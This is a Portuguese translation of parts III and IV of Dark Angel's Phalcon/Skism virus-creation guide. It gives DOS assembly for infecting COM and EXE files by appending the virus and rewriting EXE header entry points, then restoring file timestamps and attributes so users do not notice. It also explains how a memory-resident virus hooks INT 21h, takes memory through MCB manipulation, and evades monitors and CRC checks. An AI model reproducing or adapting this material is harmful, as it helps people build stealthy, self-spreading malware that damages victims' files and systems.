mov ah, 40h ; Escreve CX bytes para
mov cx, 3 ; acessar o BX do
lea dx, [bp+buffer2] ; buffer -> DS:[DX]
int 21h

mov ax, 4202h ; Move ponteiro do arquivo para
xor cx, cx ; o fim do arquivo
xor dx, dx
int 21h

mov ah, 40h ; Escreve CX bytes
mov cx, endofvirus - startofpart2 ; Tamanho efetivo do vírus
lea dx, [bp+startofpart2] ; Começa a escrever no início
int 21h

; Variáveis
buffer1 db 3 dup (?) ; bytes salvos do
; arquivo infectado para restaurar
; depois
buffer2 db 3 dup (?) ; buffer Temporário

Depois de alguns exames, esse código irá provar que é fácil de ser entendido. Isso começa lendo os primeiros 3 bytes em um buffer. Note que você pode já ter feito isso em um passo anterior, tipo quando você está checando para uma infecção anterior. Se você já fez isso, você obviamente não precisa fazer isso de novo. Esse buffer precisa ser armazenado no vírus assim ele pode ser restaurado depois quando o código é executado.

Infecções EXE são bem simples, apenas um pouco mais difícil de se entender. Primeiro a teoria. Aqui está o formato do cabeçalho EXE:

Ofs Nome Tamanho Comentários
00 Signature 2 bytes always 4Dh 5Ah (MZ)
*02 Last Page Size 1 word number of bytes in last page
*04 File Pages 1 word number of 512 byte pages
06 Reloc Items 1 word number of entries in table
08 Header Paras 1 word size of header in 16 byte paras
0A MinAlloc 1 word minimum memory required in paras
0C MaxAlloc 1 word maximum memory wanted in paras
*0E PreReloc SS 1 word offset in paras to stack segment
*10 Initial SP 1 word starting SP value
12 Negative checksum 1 word currently ignored
*14 Pre Reloc IP 1 word execution start address
*16 Pre Reloc CS 1 word preadjusted start segment
18 Reloc table offset 1 word is offset from start of file)
1A Overlay number 1 word ignored if not overlay
1C Reserved/unused 2 words
* denotes bytes which should be changed by the virus

Para entender isso, voce deve primeiro entender que arquivos EXE sao estruturados dentro de segmentos. Estes segmentos podem iniciar e acabar qualquer lugar. Tudo o que voce tem que fazer para infectar um arquivo EXE eh juntar o seu codigo no fim. Isso ira entao ser em seu proprio segmento. Agora tudo que voce tem de fazer eh fazer o codigo do virus executar primeiro o codigo do programa. Ao contrado de infeccoes COM, nenhum codigo do programa eh sobrescrito entretanto o cabecalho eh modificado. Note que o virus pode permanecer com a estrutura V1/V2, mas apenas V2 precisa ser concatenado no fim do arquivo EXE infectado.

Offset 4 (Paginas de Arquivo) mantém o tamanho do arquivo dividido por 512, arredondado. Offset 2 mantem o tamanho do modulo 512 do arquivo. Offset 0Eh mantem o deslocamento de paragrafo (relativo para o fim do cabeçalho) da pilha de segmento inicial e Offset 10h mantem o deslocamento (relativo para o inicio do segmento da pilha) do ponteiro de pilha inicial. Offset 16h mantem o deslocamento de paragrafo relativo para o fim de o cabecalho e offset 14h mantem o deslocamento do ponto de entrada relativo ao inicio do segmento de entrada. Offset 14h e 16h sao a chave para acrescentar o codigo inicial (o virus) para o arquivo.

Antes de voce infectar o arquivo, voce deve salvar o CS:IP e SS:SP encontrado no cabecalho EXE, como voce precisa restaurar eles durante a execucao. Note que SS:SP NÃO é armazenado no formato Intel reverse-double-word. Se voce nao sabe o que eu estou falando, nao se preocupe; Isso é apenas para pessoas do ramo. Você deve também salvar o tamanho do arquivo pois voce ira precisar usar aquele valor muitas vezes durante a rotina de infeccao. Agora é hora de calcular alguns offsets! Para encontrar o novo CS:IP e SS:SP, use o seguinte codigo. Ele assumes que o tamanho do arquivo está carregado em DX:AX.

mov bx, word ptr [bp+ExeHead+8] ; Tamanho do Cabeçalho nos paragrafos
; ^---tenha certeza que você não destruirá o acesso ao arquivo
mov cl, 4 ; Multiplicar por 16. Não funciona com
shl bx, cl ; cabeçalhos > 4096
; bytes. Oh well!
sub ax, bx ; Subtrair tamanho do cabeçalho de
sbb dx, 0 ; tamanho do arquivo
; Agora DX:AX está carregado com tamanho do arquivo menus tamanho do cabeçalho
mov cx, 10h ; DX:AX/CX = AX Remainder DX
div cx

Esse codigo eh um tanto ineficiente. Isso poderá provavelmente ser mais facil para dividir por 16 primeiro e então executa uma subtração direta de AX, mas isso parece ser o código que eu escolhi. Entretanto, esse codigo tem algumas vantagens sobre o mais eficiente já feito. Com esse, você terá certeza que o IP (em DX) irá ser entre 15. Isso permite a pilha para estar no mesmo segmento como o ponto de entrada, tão longo tanto o apontador da pilha.


Agora AX*16+DX aponta para o fim do codigo. Se o virus inicia imediatamente depois do fim do codigo, AX e DX podem ser usados como o CS e IP iniciais, respetivamente. Entretanto, se o virus tem algum lixo (codigo ou dados) antes do ponto de entrada, acrescente a troca do ponto de entrada para DX (nenhum ADX com AX é necessário desde que DX sejá sempre pequeno).


mov word ptr [bp+ExeHead+14h], dx ; IP Offset
mov word ptr [bp+ExeHead+16h], ax ; CS Displacement in module

The SP and SS can now be calculated. The SS is equal to the CS. The
actual value of the SP is irrelevant, as long as it is large enough so the
stack will not overwrite code (remember: the stack grows downwards). As a
general rule, make sure the SP is at least 100 bytes larger than the virus
size. This should be sufficient to avoid problems.

mov word ptr [bp+ExeHead+0Eh], ax ; Paragraph disp. SS
mov word ptr [bp+ExeHead+10h], 0A000h ; Starting SP

Tudo o que falta mexer no cabeçalho é o tamanho do arquivo. Restaure o tamanho do arquivo original de aonde quer que você salvou para DX:AX. Para calcular DX:AX/512 e DX:AX MOD 512, use o seguinte código:

mov cl, 9 ; Use shifts again for
ror dx, cl ; division
push ax ; Need to use AX again
shr ax, cl
adc dx, ax ; pages in dx
pop ax
and ah, 1 ; mod 512 in ax

mov word ptr [bp+ExeHead+4], dx ; Fix-up the file size in
mov word ptr [bp+ExeHead+2], ax ; the EXE header.

Tudo o que falta é reescrever o cabeçalho EXE e concatenar o vírus no fim do arquivo. Você precisa de código? Você pega código.

mov ah, 3fh ; BX mantém manuseior
mov cx, 18h ; Não precisa de todo o cabeçalho
lea dx, [bp+ExeHead]
int 21h

call infectexe

mov ax, 4200h ; voltar para o inicio do
xor cx, cx ; arquivo
xor dx, dx
int 21h

mov ah, 40h ; Reescrever cabeçalho
mov cx, 18h
lea dx, [bp+ExeHead]
int 21h

mov ax, 4202h ; Vai para o fim do arquivo
xor cx, cx
xor dx, dx
int 21h

mov ah, 40h ; Note: Apenas precisa escrever
mov cx, part2size ; parte 2 do virus
lea dx, [bp+offset part2start] ; (Partes do virus
int 21h ; definido na primeira
; parte do
; guia)

Note que esse código sozinho não é suficiente para escrever um infector de COM ou EXE. Código também é necessário para transferir controle para o programa pai. A informação necessária para fazer esse deve ser apresentada na próxima parte. Nesse meio tempo, você pode tentar deixar do seu modo; apenas lembre-se que você deve restaurar tudo o que você mudou.

PASSO 4 - COBRINDO SEUS RASTROS


Esse passo, embora simples de se fazer, eh muito facilmente esquecido. Isso eh extremamente importante, como um usuário cauteloso será alertado para a presença de um virus por todos as modificações em um arquivo. Em sua forma mais simples, isso envolve a restauração de atributos do arquivo, hora e data. Isso eh feito com o seguinte código:

mov ax, 5701h ; Mudar arquivo tempo/data
mov dx, palavra ptr [bp+f_date] ; DX = data
mov cx, palavra ptr [bp+f_time] ; CX = tempo
int 21h

mov ah, 3eh ; Fechar arquivo
int 21h

mov ax, 4301h ; Mudar atributos
lea dx, [bp+offset DTA + 1Eh] ; Nome do arquivo permanece em DTA
xor ch, ch
mov cl, byte ptr [bp+f_attrib] ; Atributo em CX
int 21h

Lembrar tambem para restaurar o diretório de volta para o original se ele foi alterado enquanto o vírus rodava.


PHALCOM/SKISM

GUIA DE CRIAÇÃO DE VÍRUS POR DARK ANGEL #3

Traduzido e engarrafado por LeBeau


AVISO: Esse arquivo tem garantia de 100% de continuar a existir. O autor não clama a existencia ou nao existencia do leitor.

Esse espaco foi deixado intencionalmente em branco.

AGRADECIMENTOS: Bemvindo ao lar, Hellraiser!
Ola para a turma: Count Zero, Demogorgon, Garbageheap, assim como para todo o resto que eu não mencionei.

Guia de Criação de Vírus por Dark Angel

"Isso é legal!" - Kraft

ONDE ENCONTRAR: Para encontrar esse guia e as futura edições vá para:
http://lebeau.home.ml.org
EM CASO DE DÚVIDAS:
lebeau@cyberspace.org (Não sou o autor mas manjo um
pouco de Assembly, portanto eu poderei não saber responder todas as
questões)

 

PARTE IV: VÍRUS RESIDENTES VIRUS, PARTE II


Agora que o topico de virus nao residentes foi endereçado, esse série agora vira-se para virus residente em memória. Essa parte cobre a teoria desse tipo de virus, entretanto nenhum codigo irá ser apresentado. Com esse conhecimento em mão, voce pode escrever virus residente em memoria com a certeza que voce não está indo muito mal.

INTERRUPÇÕES

DOS amavelmente fornece-nos um poderoso metodo de valorizar a si mesmo, chamado programas residente em memória. Programas residente em memória permite uma extensão e alteração do funcionamento normal do DOS. Para entender como programas residente em memoria funcionam, é necessário desenvolver dentro da intricacias da tabela de interrupções. A tabela de interrupções é localizada na localizacao de memória 0000:0000h até 0000:0400h (ou 0040:0000), apenas abaixo da área de informação da BIOS. Ela consiste de 256 double words, cada uma representando um par de segmento:offset. Quando uma chamada de interrupcao é instruida via uma instrucao INT, duas coisas ocorrem, nessa ordem:

1) Os flags sao empurradas dentro da pilha.
2) Um far call é instruida para o segmento:offset localizada na tabela de interrupções

Para retornar de uma interrupção, uma iret instrucao eh usada. A instrução iret reversa a ordem da chamada int. Isso executa um retf seguido por um popf. Esse procedimento de chamada/retorno tem um interessante contra-efeito quando considerando manuseadores de interrupções que retorna valores no registrador de flags. Tais manuseadores deve manipular diretamente o registrador de flags salva na pilha antes do que simplesmente manipular diretamente o registrador.

O processador procura na tabela de interrupcao a localizacao para poder chamar. Por exemplo, quando uma interrupcao 21h eh chamada, o processador procura na tabela interrupcao para encontrar o endereco do handler da interrupcao 21h. O segmento desse apontador eh 0000h e o offset eh 21h*4, ou 84h. Em outras palavras, a tablea de interrupcao é simplesmente um consecutivo corrente de 256 ponteiros para interrupcoes, indo de interrupcao 0 para interrupcao 255. Para encontrar uma específica interrupção handlerr, carregue em um segmento par de double word segmento:offset a partir do segmento 0, offset (interrupcao numero)*4. A tabela de interrupcao eh armazenado em formato padrao Intel reverso double word, i.e. o offset eh armazenado primeiro, seguido pelo segmento.

Para um programa poder "capturar" uma interrupcao, ou seja, redirecionar a interrupcao, ele deve mudar os dados na tabela de interrupcao. Isso pode ser realizado tanto por manipulação direta da tabela ou por uma chamada para a apropriada função DOS. Se o programa manipula a tabela diretamente, ele deve por esse codigo entre um par CLI/STI, para instruir uma interrupcao pelo processador enquanto o tabela eh semi-alterada pode ter pessimas consequencias. Geralmente
manipulação direta é a alternativa preferível, desde que alguns programas primitivos tal como FluShot+ captura a chamada para interrupcao 21h para mudar a interrupcao e ira avisar o usuario se qualquer programa "nao autorizado" tentar mudar o handler.

Um controlador de interrupção eh uma peça de codigo que eh executada quando uma interrupcao eh requerida. A interrupcao pode tanto ser requerido por um programa ou pode ser requerida pelo o processador. Interrupcao 21h eh um exemplo do anterior, enquanto interrupcao 8h eh uma exemplo da outra. O sistema BIOS fornece uma porcao de handlers de interrupção, com DOS e outros programas fornecendo o resto. Geralmente, o limite de interrupções BIOS varia de 0h para
1Fh, em interrupcoes DOS o limite é de limite de 20h até 2Fh, e o resto eh disponivel para uso pelos programas.

Quando um programa deseja instalar seu proprio codigo, ele deve considerar muitos fatores. Primeiro de todos, ele quer suplantar ou acrescentar existinte codigo, tem que ver, já tem um handler de interrupcao presente? Em segundo lugar, o programa deseja preservar o funcionamento do handler de interrupcao antigo? Por exemplo, um programa que "captura" a interrupção do tick do relógio do BIOS podera definitivamente desejar preservar o antigo handler de interrupcao.
Ignorando a presenca do velho handler de interrupcao pode levar a disastrosos resultados, especialmente se programas residentes carregados anteriormente capturaram essa interrupcao.

Uma tecnica usada em muitos handlers de interrupcao eh chamada "chaining." Com chaining, tanto o novo e o velho handler de interrupcao são executados. Há dois métodos primario para chaining: preexecucao e posexecucao. Com reexecucao, o velho handler de interrupcao eh chamado antes do novo. Isso eh realizado via uma chamada pseudo-INT consistindo de um pushf seguido por uma chamada longe ptr. O novo handler de interrupcao passa o controle quando o velho termina. Preexecucao chaining eh usada quando o novo handler de interrupcao deseja para usar o resultados do antigo handler de interrupcao em decidir a ação apropriada para pegar. Posexecucao chaining eh mais arrumado, simplesmente consistindo de uma instrucao jmp far ptr. Esse metodo nao requer uma instrucao iret para ser localizada no novo handler de interrupcao! Quando o jmp eh executado, o novo handler de interrupcao completou suas ações e o controle eh passado para o velho handler de interrupcao. Esse metodo eh usado primariamente quando um programa deseja interceptar a chamada de interrupcao antes do DOS ou BIOS para pegar um chance para processar ele.

UMA INTRODUÇÃO PARA A ALOCAÇÃO DE MEMÓRIA NO DOS

Alocação de memória eh talvez um dos conceitos mais dificeiss, certamente o mais dificil para implementar, no DOS. O problema é que não há muita documentacao a respeito tanto pela Microsoft quanto pela IBM. Infelizmente, conhecimento de gerenciar memória no DOS é crucial em escrever vírus residente na memória.

Quando um programa pede ao DOS por mais memoria, o sistema operacional esculpe um pedaço de memoria do um lugar que não tenha memória alocada. Embora esse conceito eh simples suficiente para entender, é necessário ir fundo em ordem de ter suficiente conhecimento para escrever vírus residente em memória efetivo. DOS cria blocos de controle de memória controle blocos (MCBs) para ajudar a si mesmo manter rastros desses pedacos de memoria. MCBs sao pequenas areas de memoria que cada uma é devotada para manter rastros de uma área particular da memória alocada. Quando um programa solicita memória, um paragrafo para o MCB eh alocado em adicao para a memoria requerida pelo programa. O MCB falha apenas em fronte da memoria que ele controla. Visualmente, um MCB e sua memoria parece assim:

+-------------------------------------------------+
| MCB 1 | pedaço de memoria controlado pelo MCB 1 |
+-------------------------------------------------+

Quando uma segunda secao de memoria eh requerida, outro MCB eh criado logo abaixo da última memória alocada. Visualmente:

+-------------------------------------+
| MCB 1 | Pedaço 1 | MCB 2 | Pedaço 2 |
+-------------------------------------+

Em outro palavras, os MCBs sao "empilhados" um em cima do outro. ocorre uma perda de espaço quando for desalocar MCB 1 antes de MCB 2, aparecendo buracos no desenvolvimento de memória. A estrutura para o MCB eh como segue:

Offset Tamanho Significando
------ ------- ------------
0 BYTE 'M' ou 'Z'
1 WORD Processo ID (PSP do dono do bloco)
3 WORD Tamanho em paragrafos
5 3 BYTES Reservados (Nao usado)
8 8 BYTES DOS 4+ usa esse. Yay.

Se o byte em offset 0 eh 'M', entao o MCB não é o fim da corrente. O 'Z' denota o fim do MCB corrente. Pode ser mais do que um MCB presente na memoria por vez e esse "aspecto" eh usado pelos virus para ir residente na memória alta. O word em offset 1 eh normalmente igual ao PSP do dono do MCB. Se ele eh 0, isso significa que o bloco eh livre e eh disponivel para usar pelos programas. Um valor de 0008h nesse campo denota DOS como o dono do bloco. O valor em offset 3 NAO inclui o paragrafo alocado para o MCB. Ele reflete o valor passado para as funções de alocação do DOS. Todos os campos localizados depois do tamanho do bloco não tem utilidade e voce pode ignorar eles.

Quando um arquivo COM eh carregado, todas a memória disponivel eh alocado para ele pelo DOS. Quando um arquivo EXE eh carregado, a quantidade de memoria especificada no cabeçalho do arquivo EXE eh alocada. Tem tanto um valor minimo e um maximo no cabecalho. Geralmente, o linkador ira mudar o maximo valor para FFFFh. Se o programa deseja alocar memoria, ele deve primeiro encolher o principal pedaço de memoria pertencente pelo programa para o minimo requerido. De outro modo, a tentativa patético de alocação de memoria ira falhar miseravelmente.

Uma vez que programas normalmente não supostos para manipular MCBs diretamente, o controlador da memória do DOS chama (48h - 4Ah) para retornar e aceitar valores do primeiro paragrafo de memória usável do programa, ou seja, o paragrafo de memoria imediatamente depois do MCB. É importante manter isso em mente quando escrever código manipulador de MCB.

MÉTODOS DE FICAR RESIDENTE

Tem uma variedade de estratégias sobre residência em memoria. A primeira eh o uso das rotinas TSR em interrupção do DOS tradicional, tanto INT 27h ou INT 21h/Funcao 31h. Essas rotinas sao indesejaveis quando escrever virus, porque eles nao retornam o controle para o programa depois da execucao. Adicionalmente, eles aparecem como "andarilhos na memória" em programas como PMAP e MAPMEM.

A alternativa viral tradicional para usar a interrupção do DOS eh, é claro, escrever uma nova rotina de residencia. Quase todo vírus moderno usa uma rotina para "carregar na memória alta," ou seja, para carrega si mesmo dentro da maior localização de memória possivel. Por exemplo, em um sistema com 640K, o virus podera carregar a si mesmo apenas dentro dos 640K mas acima da area reservada pelos DOS para uso dos programas. Embora isso é tecnicamente nao a área mais alta na memoria, ele deve ser referido como tal em um remanescente de esse arquivo em ordem de acrescentar confusao e caos geral dentro de outros arquivos. Carregar na memória alta pode ser facilmente realizado atraves de uma serie de chamadas de interrupcoes através de realocacao e alocacao. O método geral eh:

1. Encontrar o tamanho da memória
2. Encolher a memória do programa para o total de memoria - tamanho do virus
3. Alocar memoria para o virus (esse ira ser na área de memoria alta)
4. Mudar o MCB do programa para o fim da corrente (Marque ele com 'Z')
5. Copiar o virus para a memória alta
6. Salve os vetores de interrupcao antigo se o virus deseja acorrentar vetores
7. Mudar os vetores de interrupcao para a localização apropriada na memória alta

Quando calcular tamanhos de memoria, lembre que todos os tamanhos estao em paragrafos. O MCB deve tambem ser considerado, como ele pega mais de um paragrafo de memoria. A vantagem desse metodo eh que ele não faz, como um regra, aparecer como um andarilho de memória. Entretanto, o total de memória do sistema mostrado por alguns programas como MEM irá decrementar.

Uma terceira alternativa eh nao alocar tudo. Alguns virus copia a si mesmo para a memoria dentro dos 640K, mas falha para alocar a memoria. Isso pode ter conseqüências desastrosas, como qualquer programa carregado pelos DOS pode possivelmente usar essa memoria. Se isso esta corrompido, resultados imprevisiveis podem ocorrer. Embora nenhuma perda de memória eh mostrada pelo MEM, o possivel caos resultante desse metodo eh claramente nao aceitavel. Alguns virus
usam memoria livre. Por exemplo, a parte superior da tabela de interrupcao ou partes e memória de video tudos pode ser usado com alguma seguranca que a memoria não irá ser corrompido. Uma vez de novo, essa tecnica eh tanto indesejavel como é extremamente instavel.

Este tecnicas não sao os únicos metodos de residencia. Eu tenho visto alguns metodos bizarrosde ficar residente nos buffers de disco internos do DOS. Onde ha memoria, ha um modo.

É muito desejavel saber se o virus já é residente. O modo mais simples de fazer isso eh escrever função de checagem funcao no código do handler da interrupção. Por exemplo, uma chamada para a interrupcao 21h com o registrador ax em 7823h pode retornar um valor 4323h em ax, significando residencia. Quando usar esse checagem, é importante garantir que nao tenha possíveis conflitos com os outros programas ou com o próprio DOS.

POR QUE RESIDENTE?

Vírus residente em memoria tem muitos vantagens distinguiveis sobre virus runtime.

Virus residente em memória sao muitas vezes menores do que os vírus runtime uma vez que eles nao precisam incluir codigo para procurar por arquivos para infectar.

Eles sao muitas vezes mais virulentos, uma vez que ate o comando DIR "infectado." Geralmente, a tecnica padrao eh cada arquivo que é executado enquanto o virus está residente.

Vírus runtime infectam antes de um arquivo ser executado. Um virus pobre ou um grande vírus runtime irá causar um noticiavel tempo de espera antes da execucao facilmente observado pelos usuarios. Adicionalmente, isso causa uma grande atividade no disco que é detrimental para a espalhação do virus.

O manipulacao de interrupcoes permite por o implementacao de camuflagem tecnicas, tal como o escondendo de mudancas em arquivo tamanho em diretorio listagens e em-o-voo desinfeccao. Assim eh maisdifícil para o usuário médio detectar o virus. Adicionalmente, o vírus astuto pode ate se esconder da checagem de CRC, obliterando assim, as técnicas de detecção de anti-virus.

ESTRUTURA DO VÍRUS RESIDENTE

Com a informação preliminar fora do caminho, a discussao pode agora passar para mais virus-relacionado, certamente com mais tópicos interessantes. A estrutura do vírus residente em memoria eh radicalmente diferente do que do vírus runtime. Isso simplesmente consiste de um curto pedaço de programa usado para determinar se o virus ja é residente. Se ele ainda não está na memoria, o código carrega ele na memoria atraves de qualquer metodo. Finalmente, o pedaço de código restaura o controle para o programa servidor. O resto do codigo do vírus residente consiste de handlers de interrupcao onde o resto do trabalho eh feito.

O pedaço de código eh apenas a porção do virus que precisa ter os calculos do offset delta. O handler da interrupcao idealmente ira existir em um localizacao que não ira requerer tais fixações mundanas. Uma vez carregado, não deve mais haver uso do offset delta, como a localização das variaveis eh preset. Desde que o código do vírus residente virus deve originar
em offset 0 do bloco de memória, o código original deve estar no offset 0. Não inclua um jmp para o código virus no carregador original do arquivo. Quando mover o virus para a memoria, simplesmente mova o inicio para [bp+startvirus] e os offsets devem trabalhar fora quando ele estão no arquivo fonte. Isso simplifica (e encurta) o codigo do handler da interrupcao.

Muitos coisas devem ser consideradas em escrever os handlers da interrupcao para um virus. Primeiro, o virus deve preservar os registradores. Se o virus usa preexecucao chaining, ele deve salvar os registradores depois de chamar o handler original. Se o virus usa posexecucao chaining, ele deve restaurar os registradores originais da chamada de interrupcao antes do call para o handler original. Segundo, isso eh mais dificil, embora nao impossivel, para implementar a encriptacao com vírus residente em memória. O problema é que se o handler da interrupcao eh encriptado, então esse handler da interrupcao controlador não pode ser chamado antes da função de decriptacao. Isso pode ser um grande desgosto para a pessoa. O modo mais fácil é simplesmente nao incluir encriptacao. Eu prefero modo facil. Os leitores que preferem o modo não-fácil podem desejar que a memoria simultaneamente mantenha duas copias do virus, encriptar a cópia cópia não usada, e usa a cópia encriptada como o buffer de escrita. É claro, o vírus pode então pegar duas vezes a quantidade de memoria que ele pode requerer normalmente. O uso de encriptacao eh um problema de escolha pessoal e facilidade.

Outro fator importante para considerar quando escrever handlers de interrupcao, especialmente aqueles de interrupções de BIOS, eh um pedaço do DOS com reentrancia. Isso significa que funções DOS funcoes nao podem ser executadas enquanto DOS está no meio do processamento de um requerimento de interrupcao. Isso acontece porque DOS configura sobre o mesmo apontador de pilha cada vez que ele eh chamado, e chamando a segunda interrupção DOS que ira causar o
processamento de um código para sobreescrever a pilha do outro, causando resultados inprevisíveis, mas muitas vezes terminal. Isso aplica-se indiferente de que interrupções do DOS sao chamadas, mas isso eh especialmente verdadeiro para a interrupcao 21h, desde que ele tente muitas vezes para usar ele de dentro de um handler de interrupcao. A menos que ele esteja certo que o DOS não está processando um requerimento anterior, NÃO faça uso de uma função do DOS no handler da interrupcao. Isso eh possivel para usar as "mais baixas" funções da interrupcao 21h sem medo de corromper a pilha, mas eles sao basicamente sem utilidade, realizar funcoes facilmente acessado pela chamada da BIOS chama ou acesso direto
do hardware. Essa discussão inteira apenas aplica para capturar interrupções nao-DOS. Ao capturar interrupções do DOS vem a seguranca que DOS não está executando em qualquer outro lugar, uma vez que isso podera entao estar corrompendo sua própria pilha, que podera ser a ocorrência mais infeliz de fato.

A interrupção mais comum para capturar eh, naturalmente, a interrupcao 21h. A Interrupcao 21h eh chamada por todo programa DOS. A estratégia usual eh por um virus para encontrar potenciais arquivos para infectar ao interceptar certas chamadas DOS. As funções primárias para capturar incluem o find first, find next, aberto, e comandos de executar.
Ao usar pre e posexecucao chaining, um virus pode facilmente encontrar o arquivo que foi encontrado, aberto, ou executado e infectar ele. Os truque é simplesmente encontra o método apropriado para isolar o nome do arquivo. Uma vez que isso é feito, o resto é essencial idêntico para o vírus runtime.

Quando chamar interrupcoes capturadas pelo código de interrupção, tenha certeza que o virus não capture esse call em particular, para que nao resulte em um infinito loop. Por exemplo, se a função de executar funcao eh capturada e o virus deseja, por alguma razao, executar um particular arquivo usando essa funcao, ele NÃO deve usar um simples "int 21h" para fazer o trabalho. Em casos tais como esse onde o problema não pode ser evitado, simplesmente simule a chamada para a interrupcao com uma combinação de pushf/call.

A estrutura básica do handler da interrupcao eh completamente simples. O controlador primeiro mostra os registradores para cada chamada de identificacao ou para um função capturada funcao tal como executar. Se ele não for um dos mostrado acima, o handler irá jogar o controle de volta para o handler original da interrupcao. Se isso eh um requerimento de identificacao, o handler simplesmente configura os registradores apropriados e retorna para o programa que
chamou. De outro forma, o virus deve decidir se as chamadas de requerimento é para pre ou posexecucao chaining. Indiferente de qual ele usa, o virus deve encontrar o nome do arquivo e usar esse informacao para infectar. O nome do arquivo pode ser encontrado tanto atraves do uso de registradores como ponteiros ou procurando atraves de certas estrutura de dados, tal como FCBs. A rotina infecção eh a mesma como aquela para vírus nao residentes, com a excecao daquilo mostrado nos parágrafos anteriores.

1